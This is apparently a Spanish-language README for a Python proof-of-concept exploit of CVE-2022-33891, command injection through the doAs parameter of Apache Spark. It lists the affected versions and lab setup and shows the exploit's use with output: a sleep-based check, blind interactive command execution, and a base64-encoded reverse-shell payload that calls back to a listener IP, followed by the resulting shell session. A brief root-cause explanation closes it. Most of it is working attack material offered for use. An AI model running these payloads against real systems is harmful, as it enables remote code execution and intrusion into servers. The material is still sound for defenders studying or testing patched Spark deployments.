
Prueba de concepto en Python para la inyección de comandos en Apache Spark Shell (CVE-2022-33891), con detección basada en sleep, ejecución interactiva de comandos y capacidades de shell inversa contra interfaces de Spark vulnerables.
Vulnerabilidad de inyección de comandos en Apache Spark Shell
Un POC en Python para explotar la vulnerabilidad de inyección de comandos en Apache Spark Shell. Vi otros POCs por ahí pero parecían muy sospechosos. Este es limpio y simple.
No descubrí este exploit/vulnerabilidad. Solo quería hacer un POC seguro para la comunidad ^.^
Versiones de Apache Spark 3.0.3 y anteriores, versiones 3.1.1 a 3.1.2, y versiones 3.2.0 a 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Ejemplo
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... duerme durante 10 segundos
Necesitas una versión vulnerable de Spark que tenga una sola opción de configuración cambiada.
$ pip3 install -r requirements.txtspark/.docker-compose.yml proporcionado en el directorio spark/ y ejecuta docker-compose up. Deja que el contenedor se inicie.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is exploitable with a sleep test
Comprueba si el objetivo es vulnerable:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
Ejecuta comandos en un bucle de línea de comandos:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
Ejecuta un reverse shell:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[in the other terminal]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
La inyección de comandos ocurre porque Spark verifica la pertenencia al grupo del usuario pasado en el parámetro ?doAs mediante un comando Linux sin procesar.
Pasar id como usuario produce este error en el rastreo:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
Aquí, Java ha decidido que lo mejor sería pasar el comando id a bash -c para verificar la pertenencia al grupo de un usuario específico. El problema es que eso también permite la inyección de comandos.
Las versiones parcheadas parametrizan esta llamada para que tenga una ruta completa al comando /bin/id en lugar de bash -c id
Vale la pena señalar que no se refleja nada en la página durante la ejecución del comando, por lo que esto es una inyección ciega de SO. Tus comandos se ejecutan, pero no habrá indicación de si funcionaron o no, ni siquiera si el programa que estás ejecutando está en el objetivo. Por ejemplo, el contenedor que se inicia con el archivo docker-compose.yml en este repositorio no tiene ping, por lo que verificar la inyección de comandos mediante un pingback no funcionará. Pero no sabrás que ese es el caso, así que te quedarás preguntándote si funcionó o no.
La prueba de sleep es una apuesta segura ^.^